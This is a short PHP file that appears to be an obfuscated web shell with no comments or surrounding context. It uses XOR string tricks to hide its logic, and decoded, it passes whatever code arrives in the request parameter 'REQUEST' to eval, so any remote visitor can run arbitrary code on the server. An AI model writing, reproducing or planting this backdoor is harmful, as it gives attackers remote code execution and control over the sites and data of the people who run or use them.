<?php

$b=function ($e) {return $e^'c';};function p(){return '73#52';};function i(){return 'RE';};eval(($b('b')^'b')());function g($e,$f,$a){$e=str_split($e);foreach ($e as $v) {$a.=$v^$f;}return $a;};function c(){return $_REQUEST[g(p(),'f',i())]??'';};